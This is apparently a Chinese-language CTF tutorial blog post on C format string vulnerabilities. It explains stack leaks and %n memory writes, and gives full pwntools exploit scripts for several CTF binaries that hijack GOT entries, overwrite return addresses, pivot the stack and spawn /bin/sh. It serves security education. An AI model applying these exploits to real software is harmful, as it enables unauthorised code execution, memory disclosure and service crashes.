HackPluto's Blog

格式化字符串漏洞

字数统计: 3.6k阅读时长: 15 min
2019/09/30 Share

格式化字符串函数介绍

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分
1.格式化字符串函数
2.格式化字符串
3.后续参数,可选

格式化字符串漏洞原理

格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说’%s’表明我们会输出一个字符串参数。

我们再继续以上面的为例子进行介绍
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

1
2
3
4
5
some value
3.14
123456
addr of "red"
addr of format string: Color %s...

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
1.当前字符不是 %,直接输出到相应标准输出。
2.当前字符是 %, 继续读取下一个字符
如果没有字符,报错
如果下一个字符是 %, 输出 %
否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

1
printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
1.解析其地址对应的字符串
2.解析其内容对应的整形值
3.解析其内容对应的浮点值

格式化字符串漏洞利用

其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段
1.使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大。
2.查看进程内容,根据 %d,%f 输出了栈上的内容。

程序崩溃

通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可

1
%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。

泄露内存

泄露栈内存

使用如下的测试程序

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

获取栈变量数值

使用GDB调试,在printf处下断点,输入%x.%x.%x.%x

可以看到此时栈顶是函数的返回地址,下面就是printf函数的参数

第一个printf的输出结果

第二个输出函数是直接字符串S,因为S是%x.%x.%x.%x,所以程序会将栈上的内容打印下来

获取栈中被视为第 n+1 个参数的值

方法如下

1
%n$x

获取栈变量对应字符串

我们如果想获得栈变量对应的字符串,这其实就是需要用到 %s 了。但是如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。

比如下面这样

总结
1.利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
2.利用 %s 来获取变量所对应地址的内容,只不过有零截断。
3.利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。

覆盖内存

只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型

1
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

比如下面这个程序,c的值就是输出字符的个数6

1
2
3
4
5
6
7
8
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
printf("AAAAA%d%n",a,&c);
printf("%d\n",c);
return 0;
}

而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的 payload

1
...[overwrite addr]....%[overwrite offset]$n

其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤
1.确定覆盖地址
2.确定相对偏移
3.进行覆盖

这里使用一个样例程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

覆盖栈内存

确定覆盖地址

首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。

确定相对偏移

其次,我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试

我们发现C的地址为0xffffcde4,相对于输出函数0xffffcdd0的偏移为20字节,所以C是printf函数的第六个参数
写出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
def forc():
sh = process('./test')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + 'AAAAAAAAAAAA' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

forc()
`

格式化字符串漏洞例子

64 位程序格式化字符串漏洞

2017UIUCTF pwn200 GoodLuck

程序就是打开一个flag文件然后赋值给一个数组,然后接收一个字符串输入,这两个字符串进行对比。但是在printf函数处明显有格式化字符串漏洞,我们可以泄漏栈上的v10的内容

64位程序和32位还是有区别的,前6个参数在寄存器
中,使用下面这个程序验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>

int fo(int a,int b)
{

int c=a+b;
return 1;
}
int main()
{

int a=1,b=2;
char s[10];
gets(s);
printf(s);

}

可见输出的是寄存器里的内容

使用GDB调试题目中的程序,在printf处设置断点

可以看到flag对应的在栈上是第5个参数,因为第一个是返回地址,所以在栈上的偏移量为4,加上6个寄存器,总偏移为10,所以构造的语句为%9$s

1
2
3
4
5
6
7
from pwn import *
sh = process('./goodluck')
payload = "%9$s"
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()

2016 CCTF pwn3

使用IDA反汇编

输入name 做一个简单的加密变成密码

此处存在格式化字符串漏洞

这个题还提供了几个其他的功能,最后的利用思路就是
1.绕过密码
2.确定格式化字符串参数偏移
3.利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
4.修改 puts@got 的内容为 system 的地址。
5.当程序再次执行 puts 函数的时候,其实执行的是 system 函数。

确定格式化字符串偏移的时候需要调试一下
比如输入aaaaaa

因为从GOT处获得的是put函数在GOT的地址,该地址上存储的内容才是put函数的地址,所以这个地方应该用%s,来获取put函数在GOT的地址上的内容,通过调试发现存储aaaa的位置的偏移是7,所以构造的payload ‘%8$s’+p32(puts_got)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import LibcSearcher

pwn3 = ELF('./pwn3')
sh = process('./pwn3')

password = "rxraclhm"
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(password)

def put(name,content):
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil('then, enter the content:')
sh.sendline(content)

def get(name):
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline(name)
data = sh.recv()
return data


puts_got = pwn3.got['puts']
put('1111','%8$s'+p32(puts_got))
puts_addr = u32(get('1111')[:4])

libc = LibcSearcher("puts",puts_addr)
sys_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + sys_offset
log.success('system addr : ' + hex(system_addr))

payload = fmtstr_payload(7, {puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline('/bin/sh;')

def show_dir():
sh.sendline('dir')

show_dir()
sh.interactive()

这里我利用了 pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。

三个白帽 - pwnme_k0

先使用iDA查看程序,发现程序在这里存在格式化字符串漏洞

1
2
3
4
5
6
int __usercall sub_400B07@<eax>(char format@<dil>, char formata, __int64 a3, char a4)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&formata, "Welc0me to sangebaimao!\n");
return printf(&a4 + 4);
}

并且程序中还存在shell函数

所以这个题的思路为使用格式化字符串漏洞更改函数返回值到shell函数

第一步是确定偏移

在漏洞函数处设置断点

因为漏洞的地方打印的是输入的密码,所以用户名在栈上第3个位置,因为是64位程序,所以相对于格式化字符串函数的偏移为8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")

sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))


sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()

sh.writeline("%2218d%8$hn")

sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()

2015 CSAW contacts

1
2
3
4
5
6
➜  2015-CSAW-contacts git:(master) ✗ checksec contacts
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以看出程序不仅开启了 NX 保护还开启了 Canary。

程序的意思也很简单,就是有一个结构体存储着用户的各种信息,然后对用户信息进行打印或者修改

打印联系人信息的地方存在格式化字符串漏洞

1
2
3
4
5
6
7
8
int __cdecl PrintInfo(int a1, int a2, int a3, char *format)
{
printf("\tName: %s\n", a1);
printf("\tLength %u\n", a2);
printf("\tPhone #: %s\n", a3);
printf("\tDescription: ");
return printf(format);
}

通过调试我们发现打印的内容在堆上

这个题的思路就是stack pivoting,将栈迁移到堆上,而这里,我们可以控制的恰好是堆内存,所以我们可以把栈迁移到堆上去。这里我们通过 leave 指令来进行栈迁移,所以在迁移之前我们需要修改程序保存 ebp 的值为我们想要的值。 只有这样在执行 leave (pop ebp;mov esp ebp;)指令的时候, esp 才会成为我们想要的值。同时,因为我们是使用格式化字符串来进行修改,所以我们得知道保存 ebp 的地址为多少,而这时 PrintInfo 函数中存储 ebp 的地址每次都在变化,而我们也无法通过其他方法得知。但是,程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址,所以我们可以修改其上层函数的保存的 ebp 的值,即上上层函数(即 main 函数)的 ebp 数值。这样当上层程序返回时,即实现了将栈迁移到堆的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
from LibcSearcher import *
contact = ELF('./contacts')
##context.log_level = 'debug'
if args['REMOTE']:
sh = remote(11, 111)
else:
sh = process('./contacts')


def createcontact(name, phone, descrip_len, description):
sh.recvuntil('>>> ')
sh.sendline('1')
sh.recvuntil('Contact info: \n')
sh.recvuntil('Name: ')
sh.sendline(name)
sh.recvuntil('You have 10 numbers\n')
sh.sendline(phone)
sh.recvuntil('Length of description: ')
sh.sendline(descrip_len)
sh.recvuntil('description:\n\t\t')
sh.sendline(description)


def printcontact():
sh.recvuntil('>>> ')
sh.sendline('4')
sh.recvuntil('Contacts:')
sh.recvuntil('Description: ')


## get system addr & binsh_addr
payload = '%31$paaaa'
createcontact('1111', '1111', '111', payload)
printcontact()
libc_start_main_ret = int(sh.recvuntil('aaaa', drop=True), 16)
log.success('get libc_start_main_ret addr: ' + hex(libc_start_main_ret))
libc = LibcSearcher('__libc_start_main_ret', libc_start_main_ret)
libc_base = libc_start_main_ret - libc.dump('__libc_start_main_ret')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
log.success('get system addr: ' + hex(system_addr))
log.success('get binsh addr: ' + hex(binsh_addr))
##gdb.attach(sh)

## get heap addr and ebp addr
payload = flat([
system_addr,
'bbbb',
binsh_addr,
'%6$p%11$pcccc',
])
createcontact('2222', '2222', '222', payload)
printcontact()
sh.recvuntil('Description: ')
data = sh.recvuntil('cccc', drop=True)
data = data.split('0x')
print data
ebp_addr = int(data[1], 16)
heap_addr = int(data[2], 16)

## modify ebp
part1 = (heap_addr - 4) / 2
part2 = heap_addr - 4 - part1
payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n'
##print payload
createcontact('3333', '123456789', '300', payload)
printcontact()
sh.recvuntil('Description: ')
sh.recvuntil('Description: ')
##gdb.attach(sh)
print 'get shell'
sh.recvuntil('>>> ')
##get shell
sh.sendline('5')
sh.interactive()

格式化字符串盲打

所谓格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们进行 pwn,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是格式化字符串漏洞。一般来说,我们按照如下步骤进行
1.确定程序的位数
2.确定漏洞位置
3.利用

泄露栈

题目地址 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/blind_fmt_stack

随便输入信息

可以推测出这个程序存在格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

def leak(payload):
sh = remote('127.0.0.1', 9999)
sh.sendline(payload)
data = sh.recvuntil('\n', drop=True)
if data.startswith('0x'):
print p64(int(data, 16))
sh.close()


i = 1
while 1:
payload = '%{}$p'.format(i)
leak(payload)
i += 1

盲打劫持got









CATALOG
  1. 1. 格式化字符串函数介绍
  2. 2. 格式化字符串漏洞原理
  3. 3. 格式化字符串漏洞利用
    1. 3.1. 程序崩溃
    2. 3.2. 泄露内存
      1. 3.2.1. 泄露栈内存
        1. 3.2.1.1. 获取栈变量数值
        2. 3.2.1.2. 获取栈中被视为第 n+1 个参数的值
        3. 3.2.1.3. 获取栈变量对应字符串
    3. 3.3. 覆盖内存
      1. 3.3.1. 覆盖栈内存
        1. 3.3.1.1. 确定覆盖地址
        2. 3.3.1.2. 确定相对偏移
  4. 4. 格式化字符串漏洞例子
    1. 4.1. 64 位程序格式化字符串漏洞
      1. 4.1.1. 2017UIUCTF pwn200 GoodLuck
      2. 4.1.2. 2016 CCTF pwn3
      3. 4.1.3. 三个白帽 - pwnme_k0
      4. 4.1.4. 2015 CSAW contacts
    2. 4.2. 格式化字符串盲打
      1. 4.2.1. 泄露栈
      2. 4.2.2. 盲打劫持got